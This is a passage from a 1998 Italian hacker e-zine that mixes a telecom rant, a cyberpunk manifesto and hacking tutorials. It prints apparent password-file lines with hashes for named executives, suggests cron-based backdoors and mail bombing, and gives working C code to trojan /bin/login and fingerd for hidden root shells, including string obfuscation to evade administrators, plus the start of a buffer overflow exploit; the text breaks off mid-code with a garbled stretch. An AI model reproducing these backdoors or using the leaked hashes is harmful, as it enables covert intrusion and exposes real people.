cioe' l'ex azienda dell'attuale presidente di Telecom Italia, Gian Mario Rossignolo." ... Che qualcosa cominci a muoversi e' evidente, quello che non si sa' e' quando noialtri poveri mortali potremo beneficiare di tutto questo. La telefonia cellulare e' un passo piu' avanti di quella fissa, e tutto grazie alla lotta di tariffe fra Omnitel e Tim, lo possiamo vedere dalle incandescenti campagne pubblicitarie e dalla costante uscita di novita' in fatto di tariffe, dalle offerte You & Me Omnitel (95 lire al minuto per chiamare un numero deciso dall'utente) alla nuova tariffazione Tim per la fascia rossa, e cioe' 95 lire al minuto dopo le 22.00. Peccato solo che i modem a protocollo cellulare raramente vadano sopra i 9600 bps, e che costino cosi' tanto (un'interfaccia PCMCIA -> Nec G9 ha un costo indicativo di passa 600.000, troppo per le tasche della maggior parte della gente). Altra bella idea (o almeno cosi' potrebbe sembrare) e' stata l'offerta Telecom per l'installazione di linee ISDN presso privati, scaduta il 30 giugno. Personalmente l'ho fatto, ma non sono sicuro di aver fatto la scelta giusta. Sono d'accordo che, dopo l'abbandono frettoloso del progetto Socrate, Telecom punti ad un miglioramento a mezzo digitale delle linee, e che l'ISDN sia il mezzo migliore, in vista dell'ADSL, ma ci sono un paio di cosette che ancora mi ronzano in testa e che mi spingono a sconsigliare la conversione della propria linea da analogica a digitale. Primo, il non indifferente costo di un abbonamento internet ISDN. Provate a chiedere ai vari providers, ma le tariffe sono enormi. Nettuno offre il servizio a quasi un milione, Telecom non ne ho idea, ma probabilmente un mezzo milione di abbonamento non ce lo toglie nessuno (anche di piu', e' sufficiente vedere quanto costa un semplice abbonamento FLAT o PSTN). Secondo, anche se mi passasse per la testa di utilizzare accounts non propriamente miei, c'e' quella cosa antipatica e molto pettegola (per dirla alla Vanadio) chiamata Caller-ID. I cellulari GSM Omnitel ne erano dotati da parecchio, quelli Tim cominciano ora a far apparire sul display il numero del chiamante, e per quanto riguarda l'ISDN il servizio e' attivo di DEFAULT, dando in pasto il nostro numero di telefono a chiunque capiti di incrociare il nostro segnale, voce o portante che sia. Questo significa privacy zero, e mi piacerebbe sapere se non va' contro la legge attuale. Le centraline meccaniche sono ormai un pezzo di storia, vi sfido a trovarne ancora una. Da febbraio di quest'anno in tutti i distretti telefonici e' stata attivata la TUT, quando prima di quella data resistevano ancora degli angoli di paradiso. Le notizie sulla possibilita' di ricaricare carte prepagate Tim sono scarse, ad integrare la ricerca di Cavallo sui precedenti numeri di BFi c'e' solo la notizia secondo la quale la generazione dei codici di Ricaricard viene effettuata a "random", con nostra somma gioia (ironico...). E, buon ultimo, si sono rivelate fondate le voci della cosiddetta "rete intelligente" per le cabine telefoniche... dei 4 cavi che partono da un posto telefonico pubblico, due trasmettono il segnale, ed EFFETTIVAMENTE i due restanti eseguono verifiche su verifiche dello stato dell'apparecchio e sulla validita' della carta telefonica: questo significa possibilita' di ricarica casalinga ZERO. Tutto questo discorso significa solo una cosa: dal fronte dell'ex monopolista delle telecomunicazioni si avvicinano solo nuvoloni neri che preannunciano tempesta, e tutte le speranze sono ora riposte nei concorrenti come, appunto, Albacom. Telefonare, di questi tempi, e' forse un lusso piu' che in passato. I green non sono piu' sicuri, pensiamo all'Icetrap del green di IOL di poche settimane fa, il numero di paesi extraeuropei verso i quali e' possibile boxare si contano sulle dita di una mano monca (e tanto non servono a nulla, sono tutti locali), e AT&T e MCI monitorano l'utilizzo delle calling cards con una tale assiduita' da renderne sconsigliabile l'utilizzo. Quello che ci resta e' il ricordo degli ultimi tempi di felicita' nei primi sei mesi del 1994, prima del Fidonet Crackdown, in cui boxare verso Israele locale (c'era One Man Crew, non dico altro) o China globale era un'abitudine e in cui le calling cards delle aziende americane venivano usate ogni giorno. Di Internet si parlava ancora poco, ma eravamo gia' in giro, fosse pure su delle semplici BBS dove un messaggio ci metteva giorni ad essere recapitato da una parte all'altra della rete a suon di polling, e saremo ancora in giro domani, quando, FORSE, una mano dal cielo verra' ad aiutare i poveri utenti oppressi da una dittatura telefonica che non lascia respiro. Per quelli che cominciano ora la situazione si prospetta difficile, l'importante e' non demordere, e pensare che, dopotutto, se gli italiani non vogliono restare l'ultima ruota del carro in fatto di telecomunicazioni, qualcosa dovra' aggiustarsi anche qui... - sPIRIT^sP Ringraziamo Telecom Italia per l'interessamento ai nostri problemi... sap:FOXd4WvZYQ0Yk:1059:313:A. Saponaro,,,,:/u/sap:/bin/false grauso:Z.iGScQQDSDQw:307:20:Nicola Grauso,VOL,,:/u/grauso:/bin/false rossig:O2qJHauQMBK4I:1072:301:Gian Mario Rossignolo,,,:/users/mailbox \ :/bin/false .... POSSONO QUESTI UOMINI FARCI PAURA? ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ CYáERPUNK ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ *Premessa al testo* questo articolo e' frutto di elucubrazioni sotto effetto dei fumi di una qualche sostanza, sintetica o naturale poco importa, e non avrebbe forse mai nemmeno dovuto essere pubblicato. Sono spinto a proporlo per bfi da un articolo comparso su bfi2 che invitava, per la sopravvivenza dell'underground, ad andare al di la' delle produzioni strettamente tecniche (che continuano ad essere la colonna portante). Come disse qualcuno (forse la mia prof di italiano? sinceramente non ricordo), in ogni viaggio che si rispetti si viene a contatto con diverse culture, si allarga il proprio bagaglio conoscitivo sia sotto il punto di vista nozionistico che concettuale. In effetti durante il mio viaggio nel cyberspazio, iniziato ormai da qualche tempo, ho imparato (in tempi relativamente recenti) a conoscere e ad amare una delle sottoculture tra le piu' affascinanti che io conosca: il cyberpunk. Vorrei quindi riportarvi la traduzione di uno dei manifesti (ce ne sono parecchi in giro) che mi ha colpito maggiormente e che a mio parere riassume lo 'spirito' del cyberpunk: Un Manifesto Cyberpunk Siamo le MENTI ELETTRONICHE, un gruppo di liberi pensatori ribelli. Cyberpunk. Viviamo nel cyberspazio, siamo dappertutto, non conosciamo frontiere. Questo e' il nostro manifesto. Il manifesto del cyberpunk. I. Cyberpunk 1/ Siamo quelli, i Diversi. Ratti tecnologici, che nuotano nell'oceano dell'informazione. 2/ Siamo quelli schivi, i ragazzini a scuola che siedono nell'ultimo banco, nell'angolo della classe. 3/ Siamo i giovani che tutti considerano strani. 4/ Siamo gli studenti che hackano i sistemi, che esplorano la profondita' della sua portata. 5/ Siamo quelli cresciuti nel parco, seduti su una panchina, con il portatile sulle ginocchia, che programmano l'ultima realta' virtuale. 6/ Nostro e' il garage, riempito di aggeggi elettronici. Il saldatore nell'angolo della scrivania e vicino la radio smontata - anche queste cose sono nostre. Nostra e' la cantina con il computer, la stampante che ronza e il modem che fa beep. 7/ Siamo quelli che vedono la realta' in un modo diverso. Il nostro punto di vista mostra piu' di quello che la gente normale vede. Essi vedono solo quello che e' esternamente, ma noi vediamo dentro. Questo e' quello che siamo, realisti con gli occhiali dei sognatori. 8/ Siamo quelle strane persone, per la maggior parte sconosciute ai vicini. Gente, assorta nei suoi pensieri, che siede tutti i giorni davanti al computer, che mette a soqquadro la rete per qualcosa. Non usciamo spesso, solo di tanto in tanto, solo per andare al vicino negozio di radiofonia, o al solito bar per incontrare i pochi amici che abbiamo, o per incontrare un cliente, o dal farmacista... o solo per una passeggiata. 9/ Non abbiamo molti amici, solo alcuni con cui andare alle feste. Tutti gli altri che conosciamo, li conosciamo sulla rete. I nostri veri amici sono li', all'altro capo del filo. Li conosciamo con il nostro canale di irc preferito, con i news-groups, con i sistemi nei quali cazzeggiamo. 10/ Siamo quelli a cui non importa cio' che gli altri pensano di noi, non ci importa di come sembriamo o cosa la gente dice in nostra assenza. 11/ La maggior parte di noi vive nascondendosi, non siamo conosciuti da nessuno a parte quelli con cui dobbiamo per forza aver a che fare. 12/ Gli altri adorano la pubblicita', adorano la fama. Sono tutti conosciuti nel mondo dell'underground. I loro nomi risuonano spesso qui. Ma noi siamo uniti da una cosa - siamo Cyberpunks. 13/ La societa' non ci capisce, noi siamo "strani" e "pazzi" agli occhi della gente normale che vive lontano dalla libera informazione e dalle libere idee. La societa' impedisce la nostra corrente di pensiero - una societa' che vive, pensa e respira in una unica maniera - uno stereotipo. 14/ Ci rinnegano perche' pensiamo come gente libera, e il libero pensiero e' proibito. 15/ Il cyberpunk ha apparenze esteriori, e' non-movimento. I cyberpunks sono persone, che partono dalla normalita', sconosciute agli altri, all'artista tecno-maniaco, al musicista, allo studente superficiale, che suonano musica elettronica. 16/ Il cyberpunk non e' piu' un genere letterario, nemmeno una normale sottocultura. Il cyberpunk e' una nuova cultura della solitudine, figlia di una nuova generazione. Una cultura che unsce i nostri interessi e i nostri punti di vista. Siamo un'unita'. Siamo Cyberpunks. Qui si conclude la prima parte del manifesto (ce ne sono altre 4: "II-Society" "III-The System" "IV-The vision" e "V-Where are we?") che riguarda strettamente il cyberpunk. Questo non e' altro che il pensiero di un ristretto gruppo di persone, ma come ho detto all'inizio mi pare una buona rappresentanza della corrente cyberpunk piu' moderna. Ci sono alcuni punti sui quali non sono interamente d'accordo - ad esempio, considero ancora il cyberpunk un grande genere letterario, nonostante non sia estremamente prolifico, e leggo ancora volentieri Sterling o Gibson - ma penso sia del tutto normale. Se qualcuno mostrera' interesse per questo argomento in seguito inseriro' volentieri anche il resto del manifesto e -per chiunque lo voglia- io possiedo l'originale inglese, basta che mi contattiate via e-mail. I ringraziamenti del giorno vanno a: 1 Cavallo De Cavallis, che mi ha indicato alcune letture veramente interessanti sull'argomento e 2 tutti (veramente pochi) gli amici di #cyberpunk . Crescete e moltiplicatevi, Fre fre-@usa.net ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍHACKiNGÍÍÍÍÄÄÄÄÄÄÄ GESTi0NE DEi PR0CESSi iN AMáiENTE UNiX ÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍͼ In ambiente unix, non sempre la sessione del terminale puo' essere adatta per i propri processi, molte volte per motivi di tempo si preferisce che una serie di istruzioni siano eseguite in un momento successivo. Lo scheduling dei job e' quindi possibile attraverso i comandi: at (usato quando si vuole specificare l'ora esatta in cui eseguire un comando) crontab (usato quando il processo deve essere ripetuto ad intervalli regolari) batch (usato per eseguire un processo quando il computer non e' occupato) Molto spesso, sentendo parlare di modalita' batch, si puo' pensare ai tempi in cui si basava l'intero lavoro su interminabili (o quasi :) elaborazioni della macchina al fine di produrre l'output desiderato, senza nessun intervento da parte dell'utente che poteva passare il suo tempo a grattarsi. L'interattivita' su cui si basano oggi praticamente tutti i S.O. ha fatto dimenticare questa modalita' che tuttavia e' ancora presente, se non altro per operazioni di aggiornamento, backup che sono normali routine per una banca o per una qualsiasi attivita' che non voglia vedere il suo lavoro mandato a puttane ;) Per esempio gran parte delle banche (direi tutte :) svolgono dei backup parziali (riguardanti soltanto i dati modificati) a tempi regolari e una volta ogni N backup parziali (oppure ad una data prefissata) si procede al backup totale. Beh se lo volete proprio sapere sembra che in alcuni centri di calcolo, e mi riferisco sia a quelli esterni a cui viene data in affidamento l'elaborazione dei dati (si parla di outsourcing) che quelli interni alle banche (sono sempre di meno), i dati vengano spesso passati via modem ad un centro posto non necessariamente in Italia ed in caso di danneggiamento degli archivi e' possibile sapere l'entita' del danno e procedere alla risistemazione di essi. Ora potete dirmi pure che sono cazzate, ma io so che e' la verita' e queste informazioni possono essere facilmente reperibili quindi evitate di rompermi troppo. Scusatemi per questa parentesi e cominciamo a vedere il primo di questi tre comandi. COMANDO AT Questo comando risultera' di notevole utilita' se avete intenzione di eseguire un processo ad una determinata ora. La sintassi e' la seguente: at opzioni tempo La coda di default per questo cmd e' a. Vediamo le opzioni disponibili: -f file specifica il file che contiene il job -l visualizza i job messi in coda, come il cmd atq -m manda una mail all'utente quando il job e' stato terminato e sia se c'e' stato un output, oppure no -a specifica il nome della coda, per default il suo valore e' a come gia' ricordato prima :) -r Cancella il job at specificato -t specifica l'ora di esecuzione con il formato del cmd touch (MeseGiornoOraMinutiAnno in ambiente Linux) Vediamo un esempio del cmd at: $ at midnight fuck_hd Control-D Job XXXXXXX will be executed using /bin/sh $ N.B. Al posto del Control-D (EOF) si potra' usare pure un punto singolo, in genere viene sconsigliato l'uso di CTRL-D per evitare che una doppia pressione comporti l'uscita dalla shell, cmq e' anche vero che non tutti i S.O. accettano il punto singolo. Da notare che dopo l'uso di questo cmd verra' comunicato l'ID che identifica univocamente il processo. Dopo questo cmd sara' creato un file in /var/spool/at o atjobs a seconda del S.O. Nel mio caso il nome del file e' a0000100e434c8, dateci un'occhiata per rendervi conto di cosa c'e' dentro :) Alcune parole chiave di at parola tempo di esecuzione midnight 12:00 am noon 12:00 pm now giorno e ora attuali today data attuale tomorrow il giorno successivo a quello attuale teatime 16:00 (Uhhmmm mi sa di inglesi :) E per le ore precise da orologi svizzeri? ecco alcuni esempi at 1745 (eseguira' il job alle 17:45) at 545 PM at now + 2 hours at 1am Dec 9 + 1 year credo che non ci sia bisogno di spiegazione. Per uccidere il processo ricordatevi: at -r job-ID COMANDO BATCH Questo comando esegue un processo quando il computer non e' occupato. Qui non ci sono parametri. $batch fuck_hd EOF Job XXXXXXXXXXX will be executed using /bin/sh $ In genere la coda di default e' la b, tuttavia questo standard POSIX e' diverso per altri S.O. vedi linux. COMANDO CRONTAB Qusto cmd viene utilizzato quando i processi devono essere ripetuti ad intervalli regolari. Esso si occupa della gestione dei cmd eseguiti dal demone cron e molte volte viene utilizzato dall'admin per scopi di pulizia, loggaggio ecc... Opzioni importanti -e Modifica una voce del cmd crontab dell'user, oppure crea una nuova voce per l'utente. -r Elimina la voce crontab dell'user. Tutte le voci vengono registrate nel file /var/spool/cron/crontabs e sono leggibili solo da chi ha permessi root. Se esaminiamo il crontab noteremo che ci sono cinque campi separati da spazi prima del cmd vero e proprio. Il primo di questi campi rappresenta i minuti, seguono quindi le ore, i giorni del mese, il mese e il giorno della settimana. TIPO RANGE minuti da 0 a 59 ore da 0 a 23 giorni settimana da 0 (domenica) L'asterisco indica invece che non avverra' nessun controllo su quel campo. DISPONIBILITA' DEI COMANDI Per i cmd at e batch, affinche' sia possibile il loro utilizzo, occorre verificare i file at.deny e at.allow il primo contiene una lista degli utenti che non possono utilizzare tali cmd e il secondo invece di quelli abilitati a tali funzioni. In genere questo file puo' essere modificato soltanto da chi e' root. Se mancano invece completamente questi file chiunque puo' utilizzare i cmd. Questo discorso vale pure per il crontab dove i file di definizione dei permessi sono: cron.allow e cron.deny. UTILITA' Ok voglio solo dare delle idee sull'utilizzo di questi comandi da parte di un hacker. Beh il modo piu' conosciuto di utilizzo sono le backdoor che vengono installate sul sys in determinati momenti e poi rimosse, questo permette di far sembrare all'admin certe cosette quasi una casualita' ;) Ma a dire il vero le backdoor utilizzate attraverso i cron prima o poi vengono individuate ed eliminate. Le piu' comuni sono quelle che aprono una shell con permessi di root su una determinata porta o che mettono una suid shell in giro per gli hd. Altro modo di utilizzo sono il mail bombing, infatti e' possibile programmare ogni N minuti o giorni o settimane l'invio di un messaggio ad una determinata persona e se cancellate le tracce non vi trovano piu' :) Per il resto basta dare spazio alla fantasia, pensate per esempio ai password cracker, ai bouncers o a piccole anomalie da creare sul sys, all'aggiunta di un "+ +" in un file .rhosts, agli sniffers o a qualsiasi altra cosa..... pIGpEN ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍHACKiNGÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ áACKD00R: iDEE ED iMPLEMENTAZi0Ni ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍͼ NO(C)1998 fusys A scopo informativo di Apprendimento e Divertimento. Fatene quel che volete. Nello scorso numero di BFI, Dark Schneider ci ha intrattenuto con alcune idee su come creare backdoor. Vorrei aggiungerne qualcuna. Ora mi rivolgo prima ai super newbie pero'. Che e' una backdoor?! In sostanza si tratta di avere un canale prioritario di accesso al sistema che soddisfi tre requisiti fondamentali: 1) non deve essere NECESSARIAMENTE un canale usuale, seppur modificato (tipo login troyano) 2) deve permettere un accesso al livello piu' alto possibile mantenendo pero' come prioritario il punto 3 3) deve essere occulto. No :) niente a che fare con galli neri o gas nervino nella metro di Tokyo ... nascosto, segreto, e non utilizzabile da tutti. Oltretutto non dovrebbe essere possibile usufruirne casualmente, poiche' questo porterebbe pseudo-inevitabilmente alla sua rimozione da parte di root. Ad esempio modificare /bin/login perche' ci offra accesso se usiamo come login guest o pippo, porterebbe la maggior parte dei ragazzini ad usare la nostra backdoor ... con ragazzini non intendo giovani di eta' ma giovani di comprendonio (il che puo' essere vero anche a 50 anni :) Ok, chiarito questo, vediamo quali possono essere altri modi piu' o meno conosciuti di cui Dashie non ha parlato .... ricordo una bella discussione con della gente di DefCon riguardo alle varie backdoor implementabili. Ecco qualche sunto derivato da quelle parole. EXPLOIT Spesso e volentieri lo stesso programma o exploit remoto con cui si e' entrato, ma questo solo nel caso root non ci abbia ancora scoperto. Si' perche' e' bene non usare subito le backdoor, se se ne ha a disposizione solo una. Occhio a non modificare alcunche'. Ed occhio all'articolo sui log in BFI2. PASSWD Ovvio e lame come pochi :) :passwd e shadow e via a casa col programma delle moffette (che non e' l'animale domestico di Aldo, Giovanni e Giacomo, ma bensi' Crack di Alec Muffet). Tante password per rientrare comodamente, anche se non come root. RHOSTS ------> vedi BFI2 ad opera di Dark Schneider (da ora V. Dashie) SUID SHELL -------> V. Dashie BINARI (rootkit) In questo caso possiamo davvero sbizzarrirci. Occhio alle date, dimensioni, e checksum dei file (V. Dashie per fixer.c) a) LOGIN Modificando /bin/login possiamo fare in modo di avere accesso come root semplicemente inserendo la nostra coppia user/password che NON esiste nel normale file passwd. Questo approccio fornisce accesso senza modificare i vari utmp, wtmp, lastlog .... ma i processi sono visibili come owner root. Spesso gli amministratori se ne accorgono, in caso di sospetto, andando subito a fare un bel strings /bin/login per vedere dentro quali siano le stringhe che contengono user/password e gli eventuali comandi lanciati dalla versione troyan. b) TELNETD Questo e' simpatico nel senso che permette di lanciare un comando nel caso ad esempio ci siano alcune condizioni. Il demone potrebbe riconoscere l'host remoto da cui mi connetto, o magari alcune stringhe presenti nelle variabili di ambiente come TERM= .... e lanciare il comando che ho codato dentro al demone. c) INETD Magari non aggiungendo un servizio nuovo come bash -i ma modificando i vari RSH, RLOGIN, TALKD, FINGER, etc etc .... CRON -------> V. Dashie LIBRERIE Se riesco a modificare la libreria che quasi tutti i programmi di default su un sistema Linux usano come condivisa, potrei ad esempio mettere la mia implementazione di crypt(3) o di getpass(3) per non autenticare la mia password, ma convalidarla e basta ... MODULI LKM Come detto in altri articoli, un modulo kernel puo' sostituire le chiamate di sistema con le mie ad hoc, cosi' da sovvertire il normale funzionamento del kernel .... pensate ad esempio alla possibilita' di variare l'esecuzione di un programma preciso, con un altro in un altro path o CMDLINE, senza che il processo se ne accorga (solitamente la shell). TCP/IP Creando dei tunnel all'interno di altre applicazioni di rete, in modo da convogliare all'interno dei pacchetti IP dati nascosti nelle zone di options degli header TCP, UDP e ICMP .... ad esempio l'implementazione Loki di daemon9 aka route. Questo proprio in due paroline da' un'idea della variabilita' possibile per quanto riguarda le backdoor. Ora considerate il fatto che non ci sono delle implementazioni CANONICHE .... la fantasia la fa da padrona in questo caso. Ogni file, servizio, o troyan puo' essere codato differentemente. Quindi dopo questa patetica :) introduzione alle backdoor, cerco di farvi vedere qualche cosa, come in ogni mio articolo, convinto che ci siano piu' S.Tomaso in giro che non Platone .... Partiamo dal classico dei classici. E dal facile dei facili :) La modificazione di /bin/login. Si' ok, avete tutti il vostro bel rootkit. Ma sono davvero curioso di sapere quanti di quelli che l'hanno usato almeno una volta, hanno almeno una volta guardato come sia stato implementato :) E qui non mi rivolgo ai raga di S0ftPj o dell'Orda, ma ai lettori sconosciuti =:> Modificare login e' in fin dei conti una stronzata, fattibile in malo modo ma funzionante nel giro di un minuto. Sempre che si sappia che diavolo fa login quando gira.... quindi date un occhio al sorgente normale. Se non sapete dove sia, dovete procurarvi il pacchetto util-linux-2.7 che contiene fra gli altri progs anche login. La versione distribuita con RedHat contiene anche le definizioni condizionali per l'uso con le password shadow o con i moduli di autenticazione PAM. Partiamo da una implementazione vecchio tipo che viene facilmente scoperta. Aggiungiamo tra i define anche questi due: #define bfi98 "bfi98" #define beefee "beefee98" ovvero una semplice coppia di stringhe che useremo come user/password. Ad un certo punto nel corso del sorgente (col cavolo che lo metto tutto :) vedrete queste linee di codice. /* * If no pre-authentication and a password exists * for this user, prompt for one and verify it. */ if (!passwd_req || (pwd && !*pwd->pw_passwd)) break; setpriority(PRIO_PROCESS, 0, -4); pp = getpass("Password: "); Dopo la chiamata a getpass() inseriamo queste righe: if ((!strcmp(username, bfi98)) && (!strcmp(pp, beefee))) { alarm(0); system("/bin/sh -i"); } OK quello che abbiamo fatto e' comparare lo user e la password inserite con quelle da noi definite, e nel caso corrispondano, il flusso di funzionamente di login e' interrotto, vengono 'calmati gli allarmi' e login stesso esegue per noi una bella shell interattiva con UID/GID 0 !!! Non fa in tempo ad aggiornare neanche i log. Questo login modificato funziona in sistemi senza uso di moduli PAM. In presenza di questi infatti, il flusso del programma non chiama queste righe di codice, ma devolve l'autenticazione al modulo PAM_PWDB. Chiarito questo dobbiamo notare che se l'amministratore desse il comando suddetto strings vedrebbe tra le altre stringhe anche: bfi98 beefee98 /bin/sh -i il che potrebbe fargli capire qualche cosa :) Se vogliamo occultare il comando da eseguire possiamo spezzettarlo cambiando la chiamata di sistema, usando execl: execl("/bin/sh", "-i", 0); Ora la stringa non compare. Per quanto riguarda le variabili possiamo immaginare una stringa come un puntatore a carattere, o come un array di caratteri. In questo caso possiamo tentare: char bfi98[5]; char beefee[8]; e poi subito dopo le dichiarazioni relative alla gestione dei segnali: bfi98[0]='b'; beefee[0]='b'; bfi98[1]='f'; beefee[1]='e'; bfi98[2]='i'; beefee[2]='e'; bfi98[3]='9'; beefee[3]='f'; bfi98[4]='8'; beefee[4]='e'; beefee[5]='e'; beefee[6]='9'; beefee[7]='8'; ora non ci sono piu' stringhe nel binario visibili con strings. root dovra' capire in altre maniere come mai ci siano accessi riferibili ad utenti UID 0 senza log o altre anomalie. ############################################################################# NOTA: tnx a daemon9 per questa dritta ... non ci avevo proprio pensato in un primo momento .... ############################################################################# Se invece il Linux in questione usa i moduli PAM allora dobbiamo premunirci di utilizzare la nostra user/password in un altro punto del codice. Per l'esattezza prima che venga inizializzato il retcode con le chiamate al modulo PAM: #ifdef USE_PAM /* username is initialized to NULL and if specified on the command line it is set. Therefore, we are safe not setting it to anything */ /* fusys */ if (!strcmp(username, bfi98)) { pp = getpass("Password: "); if (!strcmp(pp,beefee)) { alarm(0); execl("/bin/sh", "-i", 0); } } /* end fusys */ retcode = pam_start("login",username, &conv, &pamh); A questo punto senza operazioni di copia/incolla possiamo inserire le varie righe di codice nei vari punti suddetti e procedere alla compilazione di login con il Makefile e MCONFIG standard del pacchetto util-linux-2.7 ... :) A questo punto bastera' inserire le nostre user e passwd al login sia in consolle, terminali che telnet remoto per avere accesso root al sistema. ############################################################################ Questa e' solo un'idea. util-linux-2.7 e' quello standard per linux. Altri sistemi richiederanno differenti sorgenti. Ricordate che un buon troyan ha anche la stessa data di accesso e modifica (man touch) almeno .... ############################################################################ Tanto per farvi capire come la fantasia possa essere interessante ed utile in questi casi, vi mostro prima un' implementazione di un classico demone FINGER, e poi invece una versione piu' chiccosa :))) Il normale fingerd troyan non fa altro che darvi una shell suidata o aggiungere un utente al file passwd ogni volta che fingerate l'utente 'giusto' ..... o comunque esegue un comando con UID/GID 0 se in inetd.conf abbiamo: finger stream tcp nowait root /usr/sbin/tcpd in.fingerd ^^^^ e non #finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd ^^^^^^ Come e' possibile che fingerd esegua un comando se come argomento di finger specifichiamo un utente che non esiste (leggi: una stringa da noi arbitrariamente scelta ;))) ?! Semplice. Immaginiamo che nei sorgenti di fingerd.c, prelevati nel pacchetto finger-0.10-2 ci sia un bel: char bfi[5]; inizializzato come: bfi[0]='b'; bfi[1]='f'; bfi[2]='i'; bfi[3]='9'; bfi[4]='8'; In questo caso bastera' aggiungere le seguenti linee di codice: if (!strcmp(s,bfi)) { execl("echo", "bfi98::0:0::/:/bin/sh" ,">>", "/etc/passwd", 0); av[--k]=NULL; } all'interno delle seguenti righe normali: k = nusers = 0; av[k++] = "finger"; for (s = strtok(line, WS); s && k | Data | | ... | | | Block 1 | ----------------------- | ----------- | Referenze |---------- ----------- | dirette ai |----------------> | Data | | blocchi di dati | | Block 2 | | corrispondenti |---------- ----------- ----------------------- | ----------- -------> | Data | | Block ..| ----------- Vi risparmio la stampa della struttura di tipo inode che viene specificata nel file . Sono ben 55 righe che controllano tutti i parametri presenti per ogni file all'interno del filesystem. Quelli che ho mostrato nel diagramma dovrebbero essere a conoscenza di tutti ... ##### NOTA - BREVE PARENTESI SUL FILESYSTEM DI LINUX - FINE ############### Immaginate quindi di poter variare uno dei parametri dell'inode di /usr/sbin/in.fingerd che non sia decisivo per l'effettiva accessibilita' del file da parte di root. Il programma potrebbe controllare il proprio file per capire in quale stato si trovi, e non avremmo bisogno di un file esterno. Purtroppo pero' che io sappia non c'e' modo diretto di intervenire su un inode, se non in kernel-land, magari con un bel modulo, o ricompilando il kernel dopo aver aggiunto in fs.h e ext2_fs.h nuovi define per i bit degli inode. Ci sono pero' dei bit che e' possibile gestire anche da processi in zona utenti, tipici di ext2fs. Eccone la lista tratta da ext2_fs.h : /* * Inode flags */ #define EXT2_SECRM_FL 0x00000001 /* Secure deletion */ #define EXT2_UNRM_FL 0x00000002 /* Undelete */ #define EXT2_COMPR_FL 0x00000004 /* Compress file */ #define EXT2_SYNC_FL 0x00000008 /* Synchronous updates */ #define EXT2_IMMUTABLE_FL 0x00000010 /* Immutable file */ #define EXT2_APPEND_FL 0x00000020 /* append only */ #define EXT2_NODUMP_FL 0x00000040 /* do not dump file */ #define EXT2_NOATIME_FL 0x00000080 /* do not update atime */ #define EXT2_RESERVED_FL 0x80000000 /* reserved for ext2 lib */ Questi parametri vengono modificati ad esempio da chattr(1) e possiamo utilizzare dei semplici system(3) per usare chattr e lsattr per valutare lo stato di queste flag sul nostro demone, senza dover creare altri file. Ad esempio laddove nel primo esempio abbiamo creato il lockfile, ora potremmo settare la flag EXT2_IMMUTABLE_FL su in.fingerd e valutarla poi invece di cercare il file esterno. La scrittura di queste modifiche ve la lascio anche perche' e' notte fonda e sono completamente rincoglionito. OPPURE usiamo fcntl(2) che e' piu' diretto, in modo da bloccare lo stesso demone in uno stato particolare. Ovvero usiamo come comando di fcntl F_SETLK con un puntatore alla struttura flock che contenga il bloccaggio in lettura F_RDLCK o in scrittura F_WRLCK. Una successiva chiamata a fcntl con F_GETLK ci fornira' lo stato del demone. Come a dire .... di modi ce ne sono .... ########################################################################### OK, le dimensioni di fingerd sono piu' grandi. Pero' cosi' e' molto piu' utile: pensate alla possibilita' di eseguire da remoto con permessi root, script o programmi non suidati che avete lasciato nelle dir piu' assurde Si vedono molte connessioni finger in /var/log/secure ?! modificate in modi simili i binari di tcpd o usate HideMe inserendo l'IP da nascondere. ########################################################################### Per finire: ho detto che una possibile backdoor e' l'exploit con cui siete entrati. Vero. Oppure potete ripristinare i bit setuid a tutti quei programmi considerati passibili di overflow, che root ha disabilitato. Ovvero. Immaginate di aver usato l'exploit per xosview, che in RH 5.1 e' settato setuid root, ovvero si presenta cosi': -rwsr-xr-x 1 root root 58653 Nov 6 1997 /usr/bin/X11/xosview Ovvero al posto della x per il proprietario del file ha una s ! Ovvero se eseguite quel file avrete l'EUID (effective user id) uguale all'UID del proprietario del file; in questo caso quindi uguale a root. Quindi l'exploit serviva per far lanciare da xosview una shell con EUID 0 ! Ed allora il sysop ha cambiato quella s con una x ... Rimettete la s. Dopodiche' mandateli in overflow :) Vi allego il codice tutorial in C di Aleph1 per quanto riguarda i buffer-overflow. Il suo articolo e' forse il migliore e comunque il piu' conosciuto. Se interessa chiedetelo pure e lo traduco per il prossimo numero. Intanto beccatevi il codice commentato in italiano, adattabile a praticamente quasi OGNI programma che si comporti in questa maniera. Lo shellcode (calma fra un po' capite) esegue una shell. --------------------------- taglia qui------------------------------------- /* * Semplice Codice per buffer overrun. * adattamento dal codice di Aleph1 come presentato nel suo articolo * "Smashing the Stack for Fun and Profit" . Se non capite cosa faccia * questo codice, leggetevi l'articolo. Se non sapete ancora chi sia * Aleph1 iscrivetevi a BUGTRAQ. Se non sapete cosa sia BUGTRAQ * ricordatevi che e' uscito in videoteca da qualche mese Hackers !!! * * Nota: _NO_(C)1998 fusys : * libero codice tradotto e commentato in italiano da fusys. * Implementato in gran parte da ALEPH1, su vecchi scritti di MUDGE, * su un'idea di un amico di MORRIS Jr. ...... =;) * * */ #include #define DEFAULT_BUFFER_SIZE 512 /* Questo numero deve essere specificato MAGGIORE del buffer che intendiamo * mandare in overflow. Se ad esempio vogliamo copiare in un array[512] e' * 